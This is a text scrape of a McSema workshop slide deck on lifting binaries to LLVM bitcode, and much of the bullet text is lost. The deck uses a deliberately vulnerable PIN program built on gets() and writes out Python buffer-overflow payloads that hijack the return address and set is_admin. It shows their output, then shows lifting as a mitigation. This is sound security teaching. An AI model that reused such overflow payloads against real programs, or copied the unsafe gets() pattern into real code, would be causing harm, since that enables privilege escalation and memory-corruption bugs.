Lifting program binaries with McSema Peter Goodman, Akshay Kumar - - PowerPoint PPT Presentation

lifting program binaries with mcsema
SMART_READER_LITE
LIVE PREVIEW

Lifting program binaries with McSema Peter Goodman, Akshay Kumar - - PowerPoint PPT Presentation

Lifting program binaries with McSema Peter Goodman, Akshay Kumar Introductions Peter Goodman Akshay Kumar Senior Security Engineer Senior Security Engineer peter@trailofbits.com akshay.kumar@trailofbits.com 2 2 Overview of this workshop


slide-1
SLIDE 1

Lifting program binaries with McSema

Peter Goodman, Akshay Kumar

slide-2
SLIDE 2

Introductions

Peter Goodman

Senior Security Engineer peter@trailofbits.com

Akshay Kumar

Senior Security Engineer akshay.kumar@trailofbits.com

2

2

slide-3
SLIDE 3

Overview of this workshop (1)

○ ○ ○

○ ○ ○ ○

3

slide-4
SLIDE 4

Overview of this workshop (2)

○ ○

○ ○ ○

4

slide-5
SLIDE 5

Overview of this workshop (3)

○ ○

5

slide-6
SLIDE 6

Introduction to LLVM and McSema

slide-7
SLIDE 7

What is LLVM bitcode?

○ ○

○ ○

7

slide-8
SLIDE 8

Why is LLVM (and its bitcode) so popular?

○ ○ ○

○ ○ ○

8

slide-9
SLIDE 9

From source code, to bitcode, to machine code

9

char *concat(char *a, char *b) { size_t a_len = strlen(a); size_t b_len = strlen(b); char *cat = malloc(a_len + b_len + 1); strcpy(cat, a); strcpy(&(cat[a_len]), b); return cat; } define i8* @concat(i8*, i8*) #0 { %3 = call i64 @strlen(i8* %0) #3 %4 = call i64 @strlen(i8* %1) #3 %5 = add i64 %3, 1 %6 = add i64 %5, %4 %7 = call noalias i8* @malloc(i64 %6) #4 %8 = call i8* @strcpy(i8* %7, i8* %0) #4 %9 = getelementptr inbounds i8, i8* %7, i64 %3 %10 = call i8* @strcpy(i8* %9, i8* %1) #4 ret i8* %7 }

slide-10
SLIDE 10

… and back again with McSema and FCD!

10

char *concat(char *a, char *b) { size_t a_len = strlen(a); size_t b_len = strlen(b); char *cat = malloc(a_len + b_len + 1); strcpy(cat, a); strcpy(&(cat[a_len]), b); return cat; } define i8* @concat(i8*, i8*) #0 { %3 = call i64 @strlen(i8* %0) #3 %4 = call i64 @strlen(i8* %1) #3 %5 = add i64 %3, 1 %6 = add i64 %5, %4 %7 = call noalias i8* @malloc(i64 %6) #4 %8 = call i8* @strcpy(i8* %7, i8* %0) #4 %9 = getelementptr inbounds i8, i8* %7, i64 %3 %10 = call i8* @strcpy(i8* %9, i8* %1) #4 ret i8* %7 }

slide-11
SLIDE 11

McSema lifts machine code to bitcode

○ ○

11

slide-12
SLIDE 12

McSema lifts this stuff to bitcode

12

slide-13
SLIDE 13

What a binary looks like in a disassembler

13

slide-14
SLIDE 14

What a binary looks like in a disassembler

14

Instructions

slide-15
SLIDE 15

What a binary looks like in a disassembler

15

Instructions Opcodes / Mnemonics

slide-16
SLIDE 16

What a binary looks like in a disassembler

16

Instructions Opcodes / Mnemonics Numbers / Offsets

slide-17
SLIDE 17

What a binary looks like in a disassembler

17

Instructions Opcodes / Mnemonics Registers Numbers / Offsets

slide-18
SLIDE 18

How registers are lifted to bitcode (1)

18

slide-19
SLIDE 19

How registers are lifted to bitcode (2)

19

struct State { };

slide-20
SLIDE 20

How registers are lifted to bitcode (3)

Memory *__remill_basic_block(State &state, addr_t curr_pc, Memory *memory) { bool branch_taken = false; auto &BRANCH_TAKEN = branch_taken; auto &AH = state.gpr.rax.byte.high; auto &AL = state.gpr.rax.byte.low; auto &AX = state.gpr.rax.word; auto &EAX = state.gpr.rax.dword; auto &RAX = state.gpr.rax.qword; ...

20

slide-21
SLIDE 21

How instructions are lifted to bitcode (1)

21

slide-22
SLIDE 22

How instructions are lifted to bitcode (2)

Memory *lifted_main(State &state, addr_t curr_pc, Memory *memory) { bool branch_taken = false; auto &BRANCH_TAKEN = branch_taken; auto &RDI = state.gpr.rdi.qword; auto &RBP = state.gpr.rbp.qword; auto &RSP = state.gpr.rsp.qword; auto &EAX = state.gpr.rax.dword; memory = PUSH<R64>(memory, state, RBP); memory = MOV<R64W, R64>(memory, state, &RBP, RSP); memory = SUB<R64W, R64, I64>(memory, state, &RSP, RSP, 0x10); memory = MOV<M32W, I32>(memory, state, RBP - 0x4, 0x0); memory = LEA<R64W, M8>(memory, state, &RDI, RBP - 0x4); memory = CALL<PC>(memory, state, 0x…); memory = lifted_verify_pin(state, …, memory); memory = TEST<R32, R32>(memory, state, EAX, EAX); memory = JZ<R8W, PC, PC>(memory, state, &BRANCH_TAKEN, …, …); if (BRANCH_TAKEN) { … } …

22

slide-23
SLIDE 23

How instructions are lifted to bitcode (3)

Memory *lifted_main(State &state, addr_t curr_pc, Memory *memory) { bool branch_taken = false; auto &BRANCH_TAKEN = branch_taken; auto &RDI = state.gpr.rdi.qword; auto &RBP = state.gpr.rbp.qword; auto &RSP = state.gpr.rsp.qword; auto &EAX = state.gpr.rax.dword; memory = PUSH<R64>(memory, state, RBP); memory = MOV<R64W, R64>(memory, state, &RBP, RSP); memory = SUB<R64W, R64, I64>(memory, state, &RSP, RSP, 0x10); memory = MOV<M32W, I32>(memory, state, RBP - 0x4, 0x0); memory = LEA<R64W, M8>(memory, state, &RDI, RBP - 0x4); memory = CALL<PC>(memory, state, 0x…); memory = lifted_verify_pin(state, RIP, memory); memory = TEST<R32, R32>(memory, state, EAX, EAX); memory = JZ<R8W, PC, PC>(memory, state, &BRANCH_TAKEN, …, …); if (BRANCH_TAKEN) { … } …

23

Instructions Opcodes / Mnemonics Registers Numbers / Offsets

slide-24
SLIDE 24

How instructions are lifted to bitcode (4)

Memory *lifted_main(State &state, addr_t curr_pc, Memory *memory) { auto &RBP = state.gpr.rbp.qword; auto &RSP = state.gpr.rsp.qword; // memory = PUSH<R64>(memory, state, RBP); memory = __remill_write_memory(memory, RSP, RBP); RSP -= 8; // memory = MOV<R64W, R64>(memory, state, &RBP, RSP); RBP = RSP; // memory = SUB<R64W, R64, I64>(memory, state, &RSP, RSP, 0x10); RSP = RSP - 0x10; ZF = RSP == 0x0; // Result is zero flag. … // More flags computations. // memory = MOV<M32W, I32>(memory, state, RBP - 0x4, 0x0); memory = __remill_write_memory_32(memory, RBP - 0x4, 0x0);

24

slide-25
SLIDE 25

How instructions are lifted to bitcode (5)

define %struct.Memory* @lifted_main(%struct.State*, i64, %struct.Memory*) #2 { entry: … %10 = load i64, i64* %9, align 8 %11 = load i64, i64* %8, align 8, !tbaa !1303 %12 = add i64 %11, -8 %13 = inttoptr i64 %12 to i64* store i64 %10, i64* %13 store i64 %12, i64* %9, align 8, !tbaa !1299 … %20 = add i64 %11, -12 %21 = inttoptr i64 %20 to i32* store i32 0, i32* %21 store i64 %20, i64* %7, align 8, !tbaa !1299 %22 = add i64 %1, -112 %23 = add i64 %1, 24 %24 = add i64 %11, -32 %25 = inttoptr i64 %24 to i64* store i64 %23, i64* %25 store i64 %24, i64* %8, align 8, !tbaa !1299 %26 = tail call %struct.Memory* @lifted_verify_pin(%struct.State* %0, i64 %22, %struct.Memory* %2) … 25

slide-26
SLIDE 26

How instructions are lifted to bitcode (6)

26

Lifted Bitcode Original Binary Compiled Bitcode

slide-27
SLIDE 27

Now you can lift binaries too!

○ ○ ○

○ ○ ○

27

slide-28
SLIDE 28

A vulnerable program

slide-29
SLIDE 29

Time to apply our newfound knowledge

We’ll start with a simple authentication program

29

$ cd ~/mcsema $ git clone git@github.com:trailofbits/issisp-2018.git $ cd issisp-2018 $ cat authenticate.c

void admin_control(void); void user_control(void); int main(int argc, char *argv[]) { bool is_admin = false; bool is_logged = verify_pin(&is_admin); if (is_admin) { admin_control(); } else if (is_logged) { user_control(); } else { return EXIT_FAILURE; } return EXIT_SUCCESS; } bool verify_pin(bool *is_admin) { char pin[5]; puts("Enter PIN: "); gets(pin); if (!strcmp(pin, "1337")) { return true; } else if (!strcmp(pin, "w00t")) { *is_admin = true; return true; } else { return false; } }

slide-30
SLIDE 30

What is done right, and what is wrong? (1)

BAD: Never use gets, no way to limit how much input is read

30

void admin_control(void); void user_control(void); int main(int argc, char *argv[]) { bool is_admin = false; bool is_logged = verify_pin(&is_admin); if (is_admin) { admin_control(); } else if (is_logged) { user_control(); } else { return EXIT_FAILURE; } return EXIT_SUCCESS; } bool verify_pin(bool *is_admin) { char pin[5]; puts("Enter PIN: "); gets(pin); if (!strcmp(pin, "1337")) { return true; } else if (!strcmp(pin, "w00t")) { *is_admin = true; return true; } else { return false; } }

slide-31
SLIDE 31

What is done right, and what is wrong? (2)

GOOD-ish: Make sure there’s room for gets to replace the \n with a \0 (NUL char)

31

void admin_control(void); void user_control(void); int main(int argc, char *argv[]) { bool is_admin = false; bool is_logged = verify_pin(&is_admin); if (is_admin) { admin_control(); } else if (is_logged) { user_control(); } else { return EXIT_FAILURE; } return EXIT_SUCCESS; } bool verify_pin(bool *is_admin) { char pin[5]; puts("Enter PIN: "); gets(pin); if (!strcmp(pin, "1337")) { return true; } else if (!strcmp(pin, "w00t")) { *is_admin = true; return true; } else { return false; } }

slide-32
SLIDE 32

What is done right, and what is wrong? (3)

BAD-ish: Not checking is_logged && is_admin

32

void admin_control(void); void user_control(void); int main(int argc, char *argv[]) { bool is_admin = false; bool is_logged = verify_pin(&is_admin); if (is_admin) { admin_control(); } else if (is_logged) { user_control(); } else { return EXIT_FAILURE; } return EXIT_SUCCESS; } bool verify_pin(bool *is_admin) { char pin[5]; puts("Enter PIN: "); gets(pin); if (!strcmp(pin, "1337")) { return true; } else if (!strcmp(pin, "w00t")) { *is_admin = true; return true; } else { return false; } }

slide-33
SLIDE 33

Let’s see the binary (1)

Back in the terminal, please compile the program

33

$ cd ~/mcsema $ git clone git@github.com:trailofbits/issisp-2018.git $ cd issisp-2018 $ cat authenticate.c $ gcc -fno-stack-protector -O1 -g3 authenticate.c

slide-34
SLIDE 34

Let’s see the binary (2)

Back in the terminal, please compile the program

34

$ cd ~/mcsema $ git clone git@github.com:trailofbits/issisp-2018.git $ cd issisp-2018 $ cat authenticate.c $ gcc -fno-stack-protector -O1 -g3 authenticate.c

slide-35
SLIDE 35

Let’s see the binary (3)

Let’s test it out

35

$ cd ~/mcsema $ git clone git@github.com:trailofbits/issisp-2018.git $ cd issisp-2018 $ cat authenticate.c $ gcc -fno-stack-protector -O1 -g3 authenticate.c $ ./a.out ehlo 1337 w00t aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...

slide-36
SLIDE 36

Let’s see the binary (4)

Open a.out in Binary Ninja

36

$ cd ~/mcsema $ git clone git@github.com:trailofbits/issisp-2018.git $ cd issisp-2018 $ cat authenticate.c $ gcc -fno-stack-protector -O1 -g3 authenticate.c $ ./a.out $ /opt/binaryninja/binaryninja ~/mcsema/issisp-2018/a.out

slide-37
SLIDE 37

Let’s see the binary (4)

37

slide-38
SLIDE 38

What happens when this code executes (1)

38

RSP

slide-39
SLIDE 39

What happens when this code executes (2)

39

RSP

slide-40
SLIDE 40

What happens when this code executes (3)

40

RSP

slide-41
SLIDE 41

What happens when this code executes (4)

41

RSP RDI

is_admin

slide-42
SLIDE 42

What happens when this code executes (5)

42

RSP RDI

return address is_admin

slide-43
SLIDE 43

What happens when this code executes (6)

43

RSP RDI

return address is_admin saved RBP

slide-44
SLIDE 44

What happens when this code executes (7)

44

RSP RDI

return address saved RBP saved RBX is_admin

slide-45
SLIDE 45

What happens when this code executes (8)

45

RSP RDI

return address saved RBP saved RBX is_admin

slide-46
SLIDE 46

What happens when this code executes (9)

46

RSP

return address saved RBP saved RBX is_admin

RDI

slide-47
SLIDE 47

What happens when this code executes (10)

47

RSP

return address saved RBP saved RBX is_admin

RBP

slide-48
SLIDE 48

What happens when this code executes (11)

48

RSP RDI

return address saved RBP saved RBX is_admin

RBP

pin

slide-49
SLIDE 49

Return-oriented-programming (1)

49

slide-50
SLIDE 50

Return-oriented-programming (2)

□ gets(pin)

○ pin char ○ gets(pin)

50

slide-51
SLIDE 51

Attack of the binary ninja: theory

51

return address saved RBP saved RBX is_admin pin

Goal: Overwrite these bytes

32 40 48 8 16 24

slide-52
SLIDE 52

Attack of the binary ninja: first strike

52

RSP

return address saved RBP saved RBX is_admin pin

$ python >>> import struct >>> chr(0) * 40 + struct.pack("<Q", 0x41414141) '\x00\x00\x00…\x41\x41\x41\x41\x00\x00\x00\x00' >>> open("input", "w").write(_) >>> exit() $ ./a.out <input Enter PIN: Segmentation fault $ dmesg | tail -n 1 […] a.out[…]: segfault at 41414141 ip 0000000041414141 sp …

32 40 48 8 16 24

slide-53
SLIDE 53

Attack of the binary ninja: fatal blow

53

RSP

return address saved RBP saved RBX is_admin pin

$ python >>> import struct >>> chr(0) * 40 + struct.pack("<Q", 0x400602) '\x00\x00\x00…\x02\x06\x40\x00\x00\x00\x00\x00' >>> open("input", "w").write(_) >>> exit() $ ./a.out <input Enter PIN: Welcome, Admin! You have the power!!!!! Segmentation fault

32 40 48 8 16 24

Address of admin_control

slide-54
SLIDE 54

Mitigating ROP with McSema

○ ○ □ ○ ○ verify_pin main

54

slide-55
SLIDE 55

Let’s lift the binary (1)

Disassemble a.out (using Binary Ninja) into a CFG file

55

$ mcsema-disass --arch amd64 --os linux \

  • -disassembler /opt/binaryninja/binaryninja \
  • -binary a.out --entrypoint main \
  • -output authenticate.cfg

Already in the repository

slide-56
SLIDE 56

Let’s lift the binary (2)

Lift authenticate.cfg to LLVM bitcode

56

$ mcsema-disass --arch amd64 --os linux \

  • -disassembler /opt/binaryninja/binaryninja \
  • -binary a.out --entrypoint main \
  • -output authenticate.cfg

$ mcsema-lift-6.0 \

  • -arch amd64 --os linux --cfg authenticate.cfg \
  • -output authenticate.bc --abi_libraries libc
slide-57
SLIDE 57

Let’s lift the binary (3)

Compile authenticate.bc to a new program with Clang

57

$ mcsema-disass --arch amd64 --os linux \

  • -disassembler /opt/binaryninja/binaryninja \
  • -binary a.out --entrypoint main \
  • -output authenticate.cfg

$ mcsema-lift-6.0 \

  • -arch amd64 --os linux --cfg authenticate.cfg \
  • -output authenticate.bc --abi_libraries libc

$ remill-clang-6.0 -o a.out.lifted authenticate.bc \ /lib/libmcsema_rt64-6.0.a

slide-58
SLIDE 58

Run before you can walk!

Run a.out.lifted with the exploit input

58

$ mcsema-disass --arch amd64 --os linux \

  • -disassembler /opt/binaryninja/binaryninja \
  • -binary a.out --entrypoint main \
  • -output authenticate.cfg

$ mcsema-lift-6.0 \

  • -arch amd64 --os linux --cfg authenticate.cfg \
  • -output authenticate.bc --abi_libraries libc

$ remill-clang-6.0 -o a.out.lifted authenticate.bc \ /lib/libmcsema_rt64-6.0.a $ ./a.out.lifted <input Enter PIN: $

What happened? The crashing input uses zeroes for its PIN, which doesn’t log the user in, so the lifted program exits normally!

slide-59
SLIDE 59

Mitigated, but not fixed

○ ○ □

gets

59

slide-60
SLIDE 60

The program is still vulnerable

slide-61
SLIDE 61

We’re safe, right?

○ ○ ○ verify_pin main

○ ○ is_admin pin ○ is_admin

61

slide-62
SLIDE 62

There is another exploitation opportunity (1)

62

RSP RDI

return address saved RBP saved RBX is_admin

RBP

pin

slide-63
SLIDE 63

There is another exploitation opportunity (1)

63

return address saved RBP saved RBX is_admin pin

What if we overwrite is_admin?

32 40 48 8 16 24 56 64

slide-64
SLIDE 64

Attack of the binary ninja: second strike

64

saved RBP saved RBX is_admin pin 32 40 48 8 16 24 56 64

$ python >>> import struct >>> chr(0) * 40 + struct.pack("<Q", 0x0400615) + chr(0) * 15 + chr(1) '\x00\x00\x00…\x00\x15\x06\x40…\x00\x00\x00\x01' >>> open("input", "w").write(_) >>> exit() $ ./a.out <input Enter PIN: Welcome, Admin! You have the power!!!!!

Return address from verify_pin Set is_admin = true

slide-65
SLIDE 65

65 define %struct.Memory* @sub_400602_main(%struct.State*, i64, %struct.Memory*) #2 { entry: %8 = getelementptr inbounds %struct.State, %struct.State* %state, i64 0, i32 6, i32 13, i32 0, i32 0 %RSP = load i64, i64* %8, align 8 %16 = add i64 %RSP, -9 %17 = inttoptr i64 %16 to i8* store i8 0, i8* %17 %20 = add i64 %RSP, -32 store i64 %20, i64* %8, align 8, !tbaa !1261 %22 = call %struct.Memory* @sub_400596_verify_pin(%struct.State* nonnull %state, i64 %18, %struct.Memory* %2) … define %struct.Memory* @sub_400596_verify_pin(%struct.State*, i64, %struct.Memory*) #3 { entry: … %13 = getelementptr inbounds %struct.State, %struct.State* %state, i64 0, i32 6, i32 13, i32 0, i32 0 %RSP = load i64, i64* %13, align 8, !tbaa !1282 … %39 = inttoptr i64 %22 to i8* %40 = tail call i8* @gets(i8* %39), !noalias !1286

The lifted program is also vulnerable!

$ ./a.out.lifted <input Enter PIN: Welcome, Admin! You have the power!!!!!

slide-66
SLIDE 66

66 define %struct.Memory* @sub_400602_main(%struct.State*, i64, %struct.Memory*) #2 { entry: %8 = getelementptr %struct.State, %struct.State* %state, i64 0, … %RSP = load i64, i64* %8, align 8 %is_admin = add i64 %RSP, -9 %17 = inttoptr i64 %16 to i8* store i8 0, i8* %17 %20 = add i64 %RSP, -32 store i64 %20, i64* %8, align 8, !tbaa !1261 %22 = tail call %struct.Memory* @sub_400596_verify_pin(%struct.State* nonnull %state, i64 %18, %struct.Memory* %2) … define %struct.Memory* @sub_400596_verify_pin(%struct.State*, i64, %struct.Memory*) #3 { entry: … %13 = getelementptr %struct.State, %struct.State* %state, i64 0, … %RSP = load i64, i64* %13, align 8, !tbaa !1282 ... %pin = add i64 %RSP, -40 … %39 = inttoptr i64 %22 to i8* %40 = tail call i8* @gets(i8* %39), !noalias !1286

is_admin allocated on emulated stack pin buffer allocated on emulated stack

pin 32 40 48 8 16 24 56 64

e x e c u t i

  • n

s t a c k e m u l a t e d s t a c k

is_admin

Adjust the emulated stack

Why is the lifted program vulnerable?

slide-67
SLIDE 67

Let’s review what happened

67

□ □ pin is_admin

○ pin is_admin

□ is_admin pin

slide-68
SLIDE 68

Abstraction recovery: Lifting stack variables

slide-69
SLIDE 69

Local variables are lost

69

bool verify_pin(bool *is_admin) { char pin[5]; puts("Enter PIN: "); gets(pin); if (!strcmp(pin, "1337")) { return true; } else if (!strcmp(pin, "w00t")) { *is_admin = true; return true; } else { return false; } }

No types, no variables :-(

slide-70
SLIDE 70

Where are the accesses to local variables? (1)

70

make a stack frame return gets(pin) *is_admin = true strcmp(pin, "1337") strcmp(pin, "w00t") puts("Enter PIN: ") un-make a stack frame

slide-71
SLIDE 71

Where are the accesses to local variables? (2)

71

bool verify_pin(bool *is_admin) { char pin[5]; puts("Enter PIN: "); gets(pin); if (!strcmp(pin, "1337")) { return true; } else if (!strcmp(pin, "w00t")) { *is_admin = true; return true; } else { return false; } }

slide-72
SLIDE 72

Where are the accesses to local variables? (3)

72

bool verify_pin(bool *is_admin) { char pin[5]; puts("Enter PIN: "); gets(pin); if (!strcmp(pin, "1337")) { return true; } else if (!strcmp(pin, "w00t")) { *is_admin = true; return true; } else { return false; } }

slide-73
SLIDE 73

Where are the accesses to local variables? (4)

73

bool verify_pin(bool *is_admin) { char pin[5]; puts("Enter PIN: "); gets(pin); if (!strcmp(pin, "1337")) { return true; } else if (!strcmp(pin, "w00t")) { *is_admin = true; return true; } else { return false; } }

slide-74
SLIDE 74

Where are the accesses to local variables? (5)

74

bool verify_pin(bool *is_admin) { char pin[5]; puts("Enter PIN: "); gets(pin); if (!strcmp(pin, "1337")) { return true; } else if (!strcmp(pin, "w00t")) { *is_admin = true; return true; } else { return false; } }

slide-75
SLIDE 75

That’s where they are! (1)

75

bool verify_pin(bool *is_admin) { char pin[5]; puts("Enter PIN: "); gets(pin); if (!strcmp(pin, "1337")) { return true; } else if (!strcmp(pin, "w00t")) { *is_admin = true; return true; } else { return false; } }

Observation All uses of stack variables use the RSP (stack pointer) register, or the RBP (base pointer, or stack frame pointer) register

slide-76
SLIDE 76

That’s where they are! (2)

76

bool verify_pin(bool *is_admin) { char pin[5]; puts("Enter PIN: "); gets(pin); if (!strcmp(pin, "1337")) { return true; } else if (!strcmp(pin, "w00t")) { *is_admin = true; return true; } else { return false; } }

Key idea If we know where local variables are, then we can rewrite all uses of the RSP and the RBP registers to instead reference local variables defined using LLVM alloca instructions

slide-77
SLIDE 77

How do we recover stack variables?

▹ ▹

77 77

$ mcsema-disass --arch amd64 --os linux \

  • -disassembler /opt/binaryninja/binaryninja \
  • -binary a.out --entrypoint main \
  • -output authenticate.vars.cfg --recover-stack-vars
slide-78
SLIDE 78

How do we lift stack variables?

□ Lift the recovered stack variables into LLVM IR

○ ○ alloca ○ i32 i16 [16 * i8] ○

78 78

$ mcsema-lift-6.0 \

  • -arch amd64 --os linux --cfg authenticate.vars.cfg \
  • -output authenticate.bc --abi_libraries libc --stack_protector

$ remill-clang-6.0 -o a.out.lifted authenticate.bc \ /lib/libmcsema_rt64-6.0.a

slide-79
SLIDE 79

How do we lift stack variables?

□ Lift the recovered stack variables into LLVM IR

○ ○ : i32, i16, i8, [16 * i8], etc. ○

79 79

$ mcsema-lift-6.0 \

  • -arch amd64 --os linux --cfg authenticate.cfg \
  • -output authenticate.bc --abi_libraries libc

$ remill-clang-6.0 -o a.out.lifted authenticate.bc \ /lib/libmcsema_rt64-6.0.a

Challenges Identifying the indirect access of stack frames not using the stack (frame) pointers Special cases where the frame members can’t be lifted, i.e. variable args functions

slide-80
SLIDE 80

80 define %struct.Memory* @sub_400602_main(%struct.State*, i64, %struct.Memory*) #2 { entry: %8 = getelementptr %struct.State, %struct.State* %state, i64 0, i32 6, … %RSP = load i64, i64* %8, align 8 %is_admin = add i64 %RSP, -9 %17 = inttoptr i64 %16 to i8* store i8 0, i8* %17 %20 = add i64 %RSP, -32 store i64 %20, i64* %8, align 8, !tbaa !1261 %22 = call %struct.Memory* @sub_400596_verify_pin(%struct.State* %state, i64 %18, %struct.Memory* %2) … define %struct.Memory* @sub_400596_verify_pin(%struct.State*, i64, %struct.Memory*) #3 { entry: … %13 = getelementptr %struct.State, %struct.State* %state, i64 0, i32 6, … %RSP = load i64, i64* %13, align 8, !tbaa !1282 ... %pin = add i64 %RSP, -40 … %39 = inttoptr i64 %22 to i8* %40 = tail call i8* @gets(i8* %39), !noalias !1286

pin 32 40 48 8 16 24 56 64 is_admin

is_admin allocated on emulated stack pin buffer allocated on emulated stack

Before lifting stack variables

e x e c u t i

  • n

s t a c k e m u l a t e d s t a c k

slide-81
SLIDE 81

81 define %struct.Memory* @sub_400602_main(%struct.State*, i64, %struct.Memory*) #2 { entry: %8 = getelementptr %struct.State, %struct.State* %state, i64 0, … %is_admin = alloca [9 x i8], align 1 %RSP = load i64, i64* %8, align 8 %17 = ptrtoint [9 x i8]* %is_admin to i64 %18 = add i64 %17, 24 %19 = inttoptr i64 %18 to i8* store i8 0, i8* %is_admin %20 = add i64 %RSP, -32 store i64 %20, i64* %8, align 8, !tbaa !1261 %22 = tail call %struct.Memory* @sub_400596_verify_pin(%struct.State* nonnull %state, i64 %18, %struct.Memory* %2) … define %struct.Memory* @sub_400596_verify_pin(%struct.State*, i64, %struct.Memory*) #3 { entry: %13 = getelementptr %struct.State, %struct.State* %state, i64 0, i32 6, … %pin = alloca [24 x i8], align 1 %RSP = load i64, i64* %13, align 8, !tbaa !1282 … %20 = ptrtoint [24 x i8]* %pin to i64 %21 = add i64 %20, 40 %22 = add i64 %RSP, -40 %39 = inttoptr i64 %21 to i8* %40 = tail call i8* @gets(i8* %39), !noalias !1286

is_admin allocated on lifted stack pin buffer allocated on lifted stack

32 40 48 8 16 24 56 64 pin is_admin

After lifting stack variables

e x e c u t i

  • n

s t a c k e m u l a t e d s t a c k

slide-82
SLIDE 82

Will this mitigate the overflow of is_admin?

82

□ □

○ pin ○

▹ ▹

slide-83
SLIDE 83

83

32 40 48 8 16 24 56 64 pin

$ python >>> import struct >>> chr(0) * 40 + struct.pack("<Q", 0x0400615) + chr(0) * 15 + chr(1) '\x00\x00\x00…\x00\x15\x06\x40…\x00\x00\x00\x01' >>> open("input", "w").write(_) >>> exit() $ ./a.out.lifted <input Enter PIN:

Set is_admin = true

Does the exploit still work?

is_admin

e x e c u t i

  • n

s t a c k e m u l a t e d s t a c k

slide-84
SLIDE 84

In summary, we conclude

slide-85
SLIDE 85

McSema is a 95% solution

○ ○

○ ○

85

slide-86
SLIDE 86

You should try McSema

□ □

○ ○

  • -explicit_args

○ ○ ○

86

slide-87
SLIDE 87

Farewells

Peter Goodman

Senior Security Engineer peter@trailofbits.com

Akshay Kumar

Senior Security Engineer akshay.kumar@trailofbits.com

87

87

slide-88
SLIDE 88
slide-89
SLIDE 89